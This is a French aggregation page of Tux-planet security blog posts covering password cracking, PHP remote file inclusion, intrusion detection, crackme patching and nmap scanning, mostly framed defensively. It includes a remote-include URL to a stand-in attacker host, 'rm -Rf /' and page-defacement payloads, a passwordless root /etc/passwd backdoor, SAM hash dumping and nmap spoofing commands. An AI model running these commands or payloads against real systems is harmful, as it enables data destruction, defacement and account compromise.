Planet Fedora-Fr

fedora-fr fedora-fr

Aller au contenu | Aller au menu | Aller à la recherche

Mot clé - Securite

Fil des billets - Fil des commentaires

mercredi, mars 5 2008

Dernièrement, une faille de sécurité de type Cross Site Scripting, a été découverte dans une version de développement de Bilboblog (qui n'a jamais été publiée, donc personne n'est concernée). J'ai donc profité de cette occasion pour me pencher sur le fonctionnement de ces dernières et des solutions existantes pour les contrer efficacement.

Billet original sur Tux-planet

 
 

mardi, février 12 2008

Une faille critique a été découverte dans les noyaux Linux, des versions 2.6.17 à 2.6.24.1. Cette dernière exploite un bug dans l'appel système vmsplice().

Billet original sur Tux-planet

 
 

mercredi, décembre 26 2007

Cet article explique comment filtrer une partie des robots, qui scannent en permanence les sites web afin de trouver des vulnérabilités exploitables.

Billet original sur Tux-planet

 
 

lundi, novembre 19 2007

password
Cet article explique l'utilisation d'Ophcrack sous Linux, un logiciel qui permet de trouver les mots de passe de Windows en se basant sur la méthode de crackage utilisant des tables Rainbow.


Ces tables font correspondre toutes les possibilités d'un mot de passe à la valeur de son hash (forme cryptée du mot de passe). Cette technique permet ainsi d’accélérer considérablement sa découverte par rapport à une simple attaque par force brute.


1. Installation d'Ophcrack

Ouvrez un terminal en root, après avoir téléchargé les sources depuis le site officiel et lancez les commandes suivantes :

cd /usr/local/src/
tar zxvf ophcrack-*.tar.gz
cd ophcrack-*
./configure
make
make install

Pensez à installer le paquet openssl-devel si ce n'est pas déjà fait, afin que la compilation se déroule correctement.

Avant de continuer, il faut savoir que les mots de passe windows (XP, NT en tous les cas) sont stockés sous forme de hash dans un fichier nommé SAM. Une des difficultés est que ce dernier est crypté par une clef appelée syskey/bootkey.

On va donc devoir utiliser deux autres petits programmes, Bkhive et Samdump en plus de Ophcrack. Le premier permet de décrypter cette clé dans le fichier système et de la stocker dans un fichier annexe. Ensuite, l'exécutable Samdump pourra décrypter le fichier SAM avec la syskey afin de pouvoir faire un dump des passwords sous forme de hash (si vous n'avez rien compris, c'est pas grave, cela vous bloquera pas pour la suite).


2. Installation et utilisation de Bkhive

Téléchargez Bkhive sur le même site et lancez les commandes d'installation suivantes :

cd /usr/local/src/
tar zxvf bkhive-*.tar.gz
cd bkhive-*
make
make install

On va ensuite décrypter la clé du fichier système comme ceci (le chemin /mnt/win/ est à adapter en fonction du montage de la partition windows c:, sur votre Linux):

# bkhive /mnt/win/windows/system32/config/system /tmp/keyfile
...
Root Key : $$$PROTO.HIV
Default ControlSet: 001
Bootkey: 3b28900af895d952589e2a7adf7af52e



3. Installation et utilisation de Samdump

Téléchargez Samdump sur le même site et lancez les commandes d'installation suivantes :

cd /usr/local/src/
tar zxvf samdump2-*.tar.gz
cd samdump2-*
make
make install

Pour décrypter le fichier SAM avec la syskey, on lancera cette commande (j'ai remplacé certaines parties du hash par des xxx afin de vous empêcher de trouver mon password personnel) :

# samdump2 /mnt/win/windows/system32/config/SAM /tmp/keyfile
...
Root Key : SAM
Administrateur:500:cbd9d2991xxxxxx645f:3021aa38xxxxxx06e:::
No password for Invite
...
ptiseb:1003:8b5bd7eab4dxxxxxe:03d5767xxxxxxxx0717:::

Par la suite, le compte que je vais cracker sera celui biensûr de pti-seb.


4. Récupération des tables Rainbow

L'étape suivante sera la récupération des tables Rainbow pré-calculées, ces dernières n'étant pas fournies avec le logiciel Ophcrack. On pourra trouver différentes adresses de téléchargement dans la section "tables" du site officiel.

Plusieurs types sont disponibles en fonction des caractères utilisés dans le mot de passe :
- Mixed-case (caractères alphanumériques < 14 lettres)
- LM Hashes with 33 special chars (caractères alphanumériques + caractères spéciaux < 14 lettres)
- NT Hashes with 33 special chars (caractères alphanumériques + caractères spéciaux < 14 lettres)

Voici un exemple que j'ai utilisé pour récupérer des tables contenant uniquement des caractères alphanumériques :

cd /tmp/
wget http://lasecwww.epfl.ch/SSTIC04-5k.zip
unzip SSTIC04-5k.zip



5. Utilisation de Ophcrack

Lancez le logiciel avec la commande ophcrack. Cliquez ensuite sur le bouton "Load" -> "Single Hash" et copiez la ligne comportant le couple login/password trouvé avec la commande samdump.

On chargera ensuite les tables Rainbow via le bouton "tables" en indiquant le dossier /tmp dans notre exemple. Il ne restera plus qu’à lancer le crackage de mot de passe avec le bouton "launch".

ophcrack

Pour ma part, une fois le calcul lancé, il a fallu 24 secondes au logiciel pour venir à bout de mon mot de passe.

Billet original sur Tux-planet

 
 

mardi, juillet 31 2007

anonyme
Tor (The Onion Router) est un réseau décentralisé qui permet, grâce à une technique de routage en oignon, de rendre anonyme les connexions sur Internet.


Son fonctionnement est assez simple :

Etape 1 - Chaque client récupère la liste des nœuds de Tor :

tor

Etape 2 - Le client construit ensuite un chemin aléatoire à travers le réseau :

tor

En faisant transiter votre connexion via une multitude de noeuds, cela vous permet de garantir votre anonymat. La sécurité du réseau est également renforcée grâce à un système de cryptographie à clef secrète entre chaque noeuds.

1. Installation

Ouvrez un terminal en root et lancez la commande suivante (sous Fedora) :

yum install tor


2. Utilisation

Démarrez le service tor avec la ligne de commande :

/etc/init.d/tor start

Par défaut, le service est configuré en écoute sur le port 9050 de l'adresse local host de votre machine (127.0.0.1). Ces paramètres sont visibles dans le fichier de configuration principal /etc/tor/torrc :

SocksPort 9050
SocksListenAddress 127.0.0.1

Il fait ainsi office de serveur proxy socks (à ne pas confondre avec un proxy HTTP).

Pour vous en servir, il suffira alors d'indiquer l'adresse et le port de ce serveur proxy local, dans l'application se connectant à internet. Tor prendra ensuite le relais pour acheminer vos requêtes Internet à travers le réseau et réceptionner les réponses.

Voici un exemple de configuration avec le navigateur Firefox (options -> paramètres de connexion) :

tor-firefox

3. Conclusion

Le principe de réseau anonyme décentralisé fourni par Tor est intéressant. Néanmoins, à l'utilisation on se rend vite compte que les connexions Internet sont un peu plus lentes que des connexions normales.

De plus, ce système peut poser des problèmes de sécurité. En effet, après avoir lu plusieurs articles sur le sujet, il serait possible de construire des réseaux de machines zombie via ce procédé.

Billet original sur Tux-planet

 
 

dimanche, mai 27 2007

img
Il arrive fréquement, que l'on édite des fichiers directement sur un serveur Apache, via des logiciels comme Emacs ou autres.

Le problème est que ces derniers créent automatiquement des fichiers de sauvegarde, parfois consultables sous forme de fichier texte et qui peuvent donc nuire à la sécurité de votre serveur.


1. Le problème

Imaginez que vous éditez le fichier config.php, contenant des mots de passe, le fichier config.php~ sera alors créé si vous avez utilisé Emacs. Le contenu du fichier config.php ne sera pas visible si on rentre l'adresse :

http://monsite.fr/config.php

En revanche, si votre serveur Apache est mal configuré, le contenu du fichier config.php~ sera alors directement acessible via l'url :

http://monsite.fr/config.php~


2. Les solutions

La première solution, qui n'est sûrement pas la meilleure, consiste à mettre en place une crontab qui détruira régulièrement ce type de fichiers :

# On efface tous les fichiers ~
0 1 * * * /usr/bin/find / -name "*[~]" -type f -print -exec rm -f '{}' \; > /dev/null

Une autre méthode, qui me paraît bien plus efficace, sera de reconfigurer son serveur web, en interdisant simplement l'affichage de ces fichiers de backup. Pour ce faire, on pourra ajouter les lignes suivantes dans le fichier de configuration d'Apache, /etc/httpd/conf/httpd.conf :

# On n'affiche plus le contenu des fichiers finissant par ~
<Files ~ "~$">
Order allow,deny
Deny from all
</Files>

Billet original sur Tux-planet

 
 

jeudi, mai 17 2007

img
Je vais traiter ici d'une faille php courante qui a lieu lorsque l'on fait une mauvaise utilisation de la fonction include.


1. La faille

La fonction include en php, permet d'insérer le contenu d'un autre fichier local ou distant, afin d'y ajouter son code source à celui en cours. Utilisée normalement, cette fonction ne posera pas de problème particulier et se révélera très pratique, notamment pour insérer un fichier contenant des fonctions que l'on utilise souvent par exemple :

include('mesfonctions.php');

Mais cela peut devenir très dangereux lorsque l'on utilise cette dernière, pour inclure des pages, dont leur nom est donné directement en paramètre dans une url web. Voici un exemple pour mieux comprendre.

Nous sommes sur un site où les urls sont de la forme :
http://monsite/index.php?page=accueil.php
http://monsite/index.php?page=contact.php

Dans le code de la page index.php, il y a quelque chose comme ceci :

include($page);

Ainsi, lorsqu'un visiteur demande la première adresse, le script va insérer le contenu de la page acceuil.php et lui l'afficher à l'écran. Cette méthode est souvent utilisée par des développeurs, le problème est que l'on peut facilement exploiter cette faille de programmation. En effet, la fonction include permet d'insérer des fichiers distants et ceci par défaut dans la configuration php.ini d'un serveur Web. On pourra alors facilement réaliser une attaque en demandant une url comme celle-ci :

http://monsite/index.php?page=http://toto.fr/exploit.php

Le script fera alors un include('http://toto.fr/exploit.php'), insérant ainsi le code php contenu dans la page exploit.php hébergée sur un serveur quelque part sur Internet. Je vous laisse imaginer les dégâts, si la page exploit.php contient un code du genre :

exec('rm -Rf /'); // effacement du disque dur

ou encore plus sophistiqué :

>?php
/* On augmente le temps d'exécution */
@set_time_limit(0);
@ini_set('max_execution_time',0);

/* On augmente l'allocation mémoire */
@ini_set('output_buffering',0);

/* On ignore les arrets venant du navigateur client */
ignore_user_abort(true);

/* On modifie toutes les pages web du serveur */
exec("/usr/bin/find . \( -name '*.php' -o -name '*.html' \) -exec sh -c \"echo OwNeD_bY_tOtO > '{}'\" \;");
?<


2. Les solutions

La première solution consiste à bien programmer sa page php, en faisant des contrôles corrects. Dans notre exemple :

if($page == "accueil.php || $page == "contact.php") {
include($page);
} else {
echo "Access denied";
}

Il existe biensûr plein d'autres manières de coder ce genre de chose. Mais pour un administrateur, cela peut vite tourner au cauchemar si ce dernier héberge plusieurs centaines de sites sur un serveur.

La solution sera alors de bien configurer php, en modifiant le fichier php.ini, pour obtenir quelque chose comme ceci :

# Desactivation de Register Global
register_globals = Off

# On interdit l'inclusion de fichiers distant
allow_url_fopen = Off

Enfin, la solution finale, un peu plus complexe, consiste à reconfigurer son firewall pour faire en sorte que :
- dans le sens serveur vers Internet : on interdit tout
- dans le sens Internet vers serveur : on autorise seulement les connexions http

Ainsi le serveur ne pourra pas inclure lui même des fichiers php distants.

Billet original sur Tux-planet

 
 

lundi, mars 26 2007

img
Cet article explique comment utiliser Encfs, un système de fichiers permettant de crypter le contenu d'un répertoire, afin de le rendre inaccessible aux personnes ne connaissant pas le mot de passe initial.


1. Pré-requis

On devra installer encfs avant de commencer. Pour se faire, lancez la commande suivante dans un terminal en root :

yum install fuse-encfs


2. Mise en place d'un répertoire crypté

On va devoir créer deux repertoires :
- le premier stockant les données cryptées
- le second permettant un accès, avec décryptage, au repertoire stockant les données cryptées

On pourra par exemple faire comme ceci :

mkdir /mnt/crypt
mkdir /mnt/private


2. Utilisation courante

Pour monter le système de fichiers et pourvoir y accéder, lancez la commande suivante :

encfs /mnt/crypt /mnt/private

Lors du premier montage, le système vous posera quelques questions. Choisissez alors le mode standard et entrez votre mot de passe secret.

Ecriture des données :

echo "toto" > /mnt/private/test.txt

Vérification du bon cryptage :

[root@localhost ~]# ls /mnt/crypt
W,ru0EGkxuVdg1

Une fois terminée, il faudra démonter le repertoire d'accès, afin de rendre complètement inaccessibles les données :

fusermount -u /mnt/private

Attention : le répertoire crypté (/mnt/crypt) contient un fichier caché nommé .encfs5. Ce dernier contient les données de cryptage et il ne faudra surtout pas le supprimer.

Ce système est donc assez simple d'utilisation et peut constituer une bonne solution pour protéger certaines données sensibles, notament celles que l'on stocke sur des clés usb que l'on peut perdre facilement.


Aller plus loin :

- site officiel de encfs
- man encfs

Billet original sur Tux-planet

 
 

samedi, février 17 2007

img
Mkpasswd est un petit programme écrit par Don Libes, permettant de générer des mots passes complexe très simplement.

Son exécution en ligne de commande en fait un outil idéal pour générer des mots de passe automatiquement avec des scripts.


1. Installation

Ouvrez un terminal en root et lancez les commandes suivantes :

yum install expect
cd /usr/bin
wget http://public.tux-planet.fr/expect/mkpasswd
chmod 755 mkpasswd


2. Utilisation

Les options principales sont les suivantes :

-l # : longueur du mot de passe
-d # : nombre minimal de chiffres
-c # : nombre minimum de caractères en minuscule
-C # : nombre minimum de caractères en majuscule
-s # : nombre de caractères spéciaux

Voici un exemple d'utilisation :

[pti-seb@localhost ~]$ mkpasswd -l 10 -d 3 -c 2 -C 0 -s 0
tzcxii8j96

Billet original sur Tux-planet

 
 

mercredi, février 7 2007

img
Cet article traite essentiellement de la sécurité de nos mots de passe, des techniques pour les tester et des erreurs à ne pas commettre.


1. Installation de John The Ripper

John The Ripper est un logiciel libre spécialisé dans le cassage de mots de passe en tout genre. On va pouvoir l'installer simplement via la commande suivante :

yum install john


2. Utilisation

On créé un nouvel utilisateur sur notre système pour le test, qui se nommera toto :

adduser toto

On lui attribut un password, 'pass12' par exemple :

passwd toto

On récupère son mot de passe crypté depuis le fichier /etc/shadow :

cat /etc/shadow | grep toto > /tmp/john.tmp

On lance john pour qu'il trouve le password :

john /tmp/john.tmp

Ici, il aura fallu pas moins de 3 minutes 27 secondes à John pour trouver la solution :

Loaded 1 password hash (FreeBSD MD5 [32/32])
pass12 (toto)
guesses: 1 time: 0:00:03:27 (3) c/s: 5850 trying: pass12

Cette méthode fonctionne aussi pour les mots de passe codés en Traditional DES, utilisés dans les fichiers .htpasswd par exemple :

[root@localhost ~]# htpasswd -cb /tmp/john.tmp toto pass12
Adding password for user toto
[root@localhost ~]# john /tmp/john.tmp
Loaded 1 password hash (Traditional DES [24/32 4K])
pass12 (toto)
guesses: 1 time: 0:00:00:08 (3) c/s: 149111 trying: ph34321 - pastin

On pourra aussi utiliser un dictionnaire de mots, afin de trouver le mot de passe plus rapidement. Cette méthode consiste à tester une liste de mots prédéfinis dans un fichier texte :

john --wordlist=/usr/share/dict/words /tmp/john.tmp

Au passage, on notera que lorsque le décodage est long, on peut appuyer à tout moment sur le touche entrée, afin de voir ou en est le logiciel.


3. Les tables de hashages

Les hashs, contrairement au cryptage, sont des techniques permettant de crypter un message qui ne pourra être décrypté. Le logiciel john n'est donc pas capable de crypter des mots de passe étant "hashés".

Cela n'arrêtera pas des personnes mal intentionnées pour autant. En effet, il existe des techniques pour en venir à bout. On pourra prendre l'exemple des attaques par dictionnaire, qui consiste à crypter une liste de mots afin de les comparer au mot de passe illisible à l'oeil nu.

J'ai implémenté cette idée à l'aide d'un petit script php disponible ici : generer-cryptage.zip

Imaginons que j'arrive à récupérer le hash md5 suivant :
f71dbe52628a3f83a77ab494817525c6

Exemple d'utilisation du script :

[root@localhost ~]# unzip generer-cryptage.zip
[root@localhost ~]# php generer-cryptage.php > /tmp/maliste
[root@localhost ~]# cat /tmp/maliste | grep f71dbe526
toto:hash_md5:f71dbe52628a3f83a77ab494817525c6

Un autre exemple, sera l'attaque par brute force. Dave Hope a écrit un petit programme en c permettant d'utiliser cette méthode. Le code source est disponible ici : md5force.c.

Exemple d'utilisation :

[root@localhost ~]# yum install openssl-devel
[root@localhost ~]# gcc -lssl -o md5force md5force.c
[root@localhost ~]# ./md5force to f71dbe52628a3f83a77ab494817525c6 4
Found: toto <==> f71dbe52628a3f83a77ab494817525c6

On pourra également générer des hashs avec beaucoup plus de caractères :

./md5force 0123456789abcdefghijklmnopqrstuvwxyz. f71dbe52628a3f83a77ab494817525c6 6

Ici, l'exploitation de ces méthodes reste assez limitées. Mais depuis quelques temps, on voit apparaître des sites spécialisés dans la constitution de bases de données contenant plusieurs milliers de hashs, comme ce site web par exemple : shm.hard-core.pl

4. Les erreurs à éviter

Citation : For example, if the login name is "abc", then "abc", "cba", and "abcabc" are excellent candidates for passwords. [Grampp and Morris, "UNIX Operating System Security"]

Cette citation nous montre que dans la plupart des cas, l'utilisateur utilisera son login pour construire son mot de passe. J'ai donc codé un petit programme en c, qui respecte les contraintes de cette citation, afin de voir le résultat. Le code source de ce dernier est disponible ici : devine-password.c.

Exemple d'utilisation du programme :

[root@localhost shell]# gcc -o devine-password devine-password.c
[root@localhost shell]# ./devine-password
Veuillez saisir le login (max 128 caracteres) : john

Liste de mot de passe possible :
john
nhoj
johnjohn
johnnhoj
nhojjohn
John
Nhoj
JohnJohn
JohnNhoj
NhojJohn

La création d'un mot de passe à partir de son login est donc très fortement déconseillée.

On devra également éviter le mot de passe composé que de chiffres. En effet, leur décodage est très rapide. Pour le démonter, j'ai écrit un autre programme en c, qui est capable de générer une liste de nombres en fonction des paramètres qu'on lui donne. Ce dernier est disponible ici : generer-nombre.c.

Attribution du mot de passe '1234567' à toto et recopiage de la chaîne cryptée dans le fichier temporaire :

passwd toto
cat /etc/shadow | grep toto > /tmp/john.tmp

Exemple d'utilisation du programme, ici on génère une liste de chiffres allant de 0 à 9999999 :

gcc -o generer-nombre generer-nombre.c
./generer-nombre -d 0 -f 9999999 > /tmp/liste-nombre.tmp

Il ne reste plus qu'à lancer le décodage via john, en lui précisant de charger la liste de nombre :

[root@localhost ~]# john --wordlist=/tmp/liste-nombre.tmp /tmp/john.tmp
Loaded 1 password hash (FreeBSD MD5 [32/32])
1234567 (toto)
guesses: 1 time: 0:00:04:21 100% c/s: 4716 trying: 1234567


5. Les solutions

Une solution pour parer toutes ces techniques, est donc d'utiliser un mot de passe long comportant une multitude de caractères différents.

On devra également multiplier le nombre de mots de passe. En effet, utiliser le même et unique mot de passe pour protéger toutes ces données est fortement déconseillé. Des logiciels comme Revelation sous linux, permettent de les générer et vous enlèvent le souci de les retenir.

Site officiel de John : www.openwall.com/john/
Estimation de durée : www.lockdown.co.uk
John The ripper vu par Titax : blog.titax.fr

Billet original sur Tux-planet

 
 

vendredi, janvier 12 2007

img
Cet article explique comment surveiller l'intégrité d'un système d'exploitation Linux, afin d'être prévenu rapidement d'une intrusion sur une machine.

Pour bien comprendre l'intérêt de la surveillance de l'intégrité de son système, je vais prendre plusieurs exemples d'actions effectuées par un pirate informatique, lorsque ce dernier a réussi à s'introduire sur une machine, par le biais d'une faille de sécurité par exemple.


1. Exemple de modification du système

Pour chacun de ces cas, une surveillance de l'intégrité permettra de détecter très rapidement, les mouvements de l'intrus.

Cas n°1 : modification du fichier /etc/passwd

Notre pirate a réussi, par une méthode ou une autre, à accéder en écriture, au fichier /etc/passwd. Afin de pouvoir passer en root sur la machine, il y a ajouté la ligne suivante :

system::0:0:system:/:/bin/bash

On notera ici, qu'il a simplement créé un utilisateur nommé système, sans mot de passe, qui a le même ID que root. L'intrus pourra ainsi, a tout moment passer root sur la machine, via un simple compte utilisateur, en utilisant la commande su - system

Ce type de backdoor est assez difficile à repérer, étant donné que l'on ne consulte pas le fichier /etc/passwd tous les jours et qu'en plus, le nom system pourrait paraître normal.

Cas n°2 : le bit SUID

Là encore, notre intrus à obtenu les droits root et il voudrait être sêr de pouvoir revenir sous cette identité, à sa guise et même après un changement du mot de passe de ce dernier par l'administrateur. Pour se faire, il pourra positionner un bit SUID, sur les commandes qu'il désire, afin de pouvoir les exécuter ensuite en tant que root :

[pti-seb@localhost ~]$ cat /etc/shadow
cat: /etc/shadow: Permission denied
[pti-seb@localhost ~]$ su -
Password:
[root@localhost ~]# chmod a+s /bin/cat
[root@localhost ~]# exit
[pti-seb@localhost ~]$ cat /etc/shadow
root:xxxxx:13449:0:99999:7:::

Encore une fois, pour repérer ce genre de manipulation, cela reste difficile, car il faudra régulièrement regarder les bons droits sur les fichiers (avec la commande find / -perm +4000 par exemple).


2. La solution

Pour éviter ce genre d'action, on pourra mettre en place un logiciel comme Tripwire ou encore AIDE sur la machine. Ce dernier a pour but de s'assurer l'intégrité des répertoires et des fichiers importants en identifiant tous changements apportés à ces derniers.

Pour ma part, je n'ai pas trouvé de version gratuite de Tripwire et je me suis donc rabattu sur AIDE (Advanced Intrusion Detection Environment). Voici la commande à lancer pour l'installer sur une Fedora Core :

yum install aide

On initialisera ensuite la base de données (environ 15 minutes de traitement) :

aide --init

On devra ensuite placer la base de données dans un lieu sêr (media accessible quand lecture, DVD par exemple). Pour faire simple ici, je vais laisser la base dans le dossier où elle se trouve initialement, en la renommant afin d'être exploitable par la commande aide :

mv /var/lib/aide/aide.db.new.gz /var/lib/aide/aide.db.gz

On pourra ainsi vérifier l'intégrité du système via la commande suivante (environ 10 minutes de traitement) :

aide --check

Dans notre cas ici, j'avais pris le soin de construire une base, avant la mis en pratique des différents cas cités plus haut. Et voici ce que donne la commande aide --check après vérification :

...
changed: /etc/passwd
changed: /bin/cat
...

Les modifications système ont donc bien été détectées. On pourra bien sêr rendre ce genre de procédure automatique, en ajoutant cette commande à une crontab et lui faisant retourner le résultat par mail.

Dans le cas d'une mise à jour du système, le changement du configuration, l'administrateur pourra a tout moment mettre lui même AIDE à jour, en utilisant le paramètre update :

aide --update


3. Conclusion

On pourra aller beaucoup plus loin dans la configuration AIDE, en modifiant le fichier /etc/aide.conf. On pourra par exemple, rajouter la surveillance des fichiers de son site web, afin d'être prévenu rapidement en cas de "défaçage ".


4. Aller plus loin

- Site officiel de AIDE : www.cs.tut.fi/~rammer/aide.html
- Manuel de AIDE : www.cs.tut.fi/~erammer/aide/manual.html

Billet original sur Tux-planet

 
 

mardi, décembre 26 2006

img
Ici nous allons étudier les bases du cracking sous Linux, en essayant de casser la sécurité d'un petit logiciel que j'ai moi même codé en C pour l'occasion.

Avant de commencer, je rappelle que cracker un logiciel tiers est illégal.

Maintenant, je vous invite à télécharger le code source de mon petit programe, intitulé crackme et dont le code source est disponible en cliquant ici. Vous pourrez compiler ce dernier avec la commande suivante :

gcc -Wall -o crackme crackme.c

Si on analyse le code source de crackme.c, on s'aperçoit que si on veut pouvoir rentrer dans le programme, il faut respecter la condition émise par un if, qui compare le premier argument passé en paramètre, avec le password connu du programme :

/* Si password ok, alors on passe a la suite */
if (strcmp(PASSWORD, argv[1]) == 0) {

Si on voulait faire simple, il suffirait d'inverser cette condition au niveau du code source, et de recompiler le programme pour le faire marcher avec un code erroné :

if ( ! strcmp(PASSWORD, argv[1]) == 0 ) {

Mais dans un cas réel, on ne possède pas le code source du programme protégé, et le seul moyen de parvenir à effectuer cette action est de désassembler ce dernier afin de le cracker.

Pour cela on peut utiliser la ligne de commande suivante :

objdump -d crackme

On s'intéressera alors à la partie main, qui contient le code principal de crackme :

08048464 <main>:

Les lignes qui suivent sont divisées en plusieurs colonnes :

- La première sert à déterminer l'adresse correspondant à l'instruction.
- La seconde colonne est le code en hexadécimal.
- Et la troisième est le code traduit en assembleur.

Après une bonne analyse, on arrive à retrouver la fonction de comparaison qui vérifie le mot de passe et le saut conditionnel qui suit :

80484ea: 85 c0 test %eax,%eax /* Comparaison */
80484ec: 75 53 jne 8048541 <main+0xdd> /* Saut */

En assembleur, il faut savoir que :

- je = branchement en cas d'égalité
- jne = branchement en cas de non égalité

Or nous avons un "jne" ici, pour cracker notre programme, il va simplement falloir transformer le "jne" en "je", afin d'inverser la condition du if qui vérifie le bon mot de passe. Les correspondances en hexadécimal sont les suivantes :

- je = 74
- jne = 75

Concrètement, il va falloir que l'on modifie notre programme, à l'aide d'un éditeur hexadécimal, afin de remplacer cette ligne :

75 53 jne 8048541 <main+0xdd>

par celle-ci :

74 53 je 8048541 <main+0xdd>

Installation de l'éditeur hexadécimal ghex :

yum install ghex

Ouverture du programme avec l'éditeur :

ghex2 crackme

On va dans le menu "Edit" puis "Go Byte" et on rentre la valeur 0x004ec. Comme par hasard on se retrouve pile sur le chiffre 75 suivie de 53. Il ne nous reste donc plus qu'à changer 75 par 74 et sauvegarder le tout.

Utilisez les chiffres que l'on obtient en verrouillant la touche majuscule, plutôt que le pavé numérique pour réaliser cette action.

img

Pour ceux qui veulent savoir d'où sort le 0x004ec, il s'agit du virtual offset du "jne" - le virtual offset du début du segment contenant le code : 0x080484ec - 0x08048000 = 0x004ec

Il nous reste plus qu'a vérifier que cela fonctionne :

./crackme toto
Starting Root Shell ...

Billet original sur Tux-planet

 
 

vendredi, décembre 15 2006

img
Cet article décrit le fonctionnement principal de la commande nmap sous linux et les solutions existantes permettant la détection de ce genre d'action

Avant de commencer, je tiens à rappeler qu'un balayage de ports effectué sur un système tiers est considéré comme une tentative d'intrusion et est donc considéré comme illégal.

En revanche, vous pouvez parfaitement scanner votre propre réseau, afin de verifier si ce dernier est sécurisé.


1. Utilisation principal de nmap

Voir tous les ports TCP ouverts sur une machine, utilisation de messages SYN, donc pas de log sur la machine cible :

nmap -sS 127.0.0.1

Voir tous les ports UDP ouverts sur une machine :

nmap -sU 127.0.0.1

Voir si une machine est sur le réseau (scan Ping) :

nmap -sP 127.0.0.1

Scanner une plage d'adresses. Ici toutes les adresses de 192.168.0 à 192.168.255 :

nmap 192.168.0,.0-255

Connaitre le système d'exploitation de la machine (TCP/IP fingerprint) :

nmap -O 127.0.0.1

Si nmap n'arrive pas à determiner la version, on pourra lui demander de nous donner une liste des systèmes qui pourraient potentiellement correspondre :

nmap -O --osscan-guess 127.0.0.1

Scanner un port précis. Ici, c'est le port http :

nmap -p 80 127.0.0.1

Scanner une plage de ports. Ici on scan du port 0 au 80 et tous ceux supérieurs à 60000 ) :

nmap -p 0-80,60000 127.0.0.1

Scanner des serveurs web au hasard sur le réseau :

nmap -v -sS -iR 0 -p 80

Désactiver la résolution DNS inverse des hôtes, augmente la rapidité :

nmap -n 127.0.0.1

Scan par rebon ftp, permet de demander à un serveur FTP de scanner les ports à votre place (envoie des fichiers pour tester les ports ouverts). Cette fonctionnalité est souvent désactivée des serveurs FTP afin d'éviter les abus. Ici on passe par le serveur ftp qui a pour adresse 127.0.0.1 pour scanner une plage d'adresses ip :

nmap -b 127.0.0.1 192.168.0,.0-255

Usurper l'adresse ip source. Ici on scan 127.0.0.1, par l'interface réseau eth0, en se faisant passer pour 10.0.0.0 :

nmap -S 10.0.0.0 -e eth0 -P0 127.0.0.1

Usurper le port source. Ceci peut-être pratique, dans le cas où un firewall filtrerait la provenance de certains ports. Ici on passe par le port 80 :

nmap --source-port 80 127.0.0.1

Usurper l'adresse MAC :

nmap --spoof-mac 01:02:03:04:05:06 127.0.0.1 nmap --spoof-mac Cisco 127.0.0.1

Choisir un fichier de sortie pour y ecrire les résultats du scan :

nmap -oN resultat 127.0.0.1 nmap -oX resultat.xml 127.0.0.1

Trace les paquets et les données envoyés et reçus. Pratique pour verifier qu'une usurpation fonctionne :

nmap --packet-trace -S 10.0.0.0 -e eth0 -P0 --source-port 80 127.0.0.1



2. Solution

Enpêcher le balayage des ports d'une machine reste assez difficile en soi. En effet, même en rajoutant des règles à iptables, les techniques de scan étant tellement diverses, cela ne sera ne fonctionnera pas à 100%.

En revanche, on peut très bien utiliser des outils spécialisés dans la detection de ces derniers comme scnalogd par exemple.

Pour s'en servir, nous allons devoir récupérer les sources sur le site officel et lancer les commandes suivantes :

cd /usr/local/src/
tar zxvf scanlogd-*.tar.gz
rm -f scanlogd-*.tar.gz
cd scanlogd-*/
make linux
adduser scanlogd

On pourra ensuite le lancer manuellement, via la commande scanlogd. Toutes les tentatives de scan sur la machine seront alors visibles dans le fichier /var/log/messages :

[root@localhost ~]# tailf /var/log/messages | grep scanlogd
Dec 3 17:54:43 localhost scanlogd: 192.168.0.188 to 192.168.0.175 ports 80, 554, 256, 21, 22, 23, ..., TOS 00, TTL 64 @18:54:43



3. Aller plus loin

Commande : man nmap
Guide sur nmap : insecure.org
Manpage de scanlogd : www.openwall.com/scanlogd/

Billet original sur Tux-planet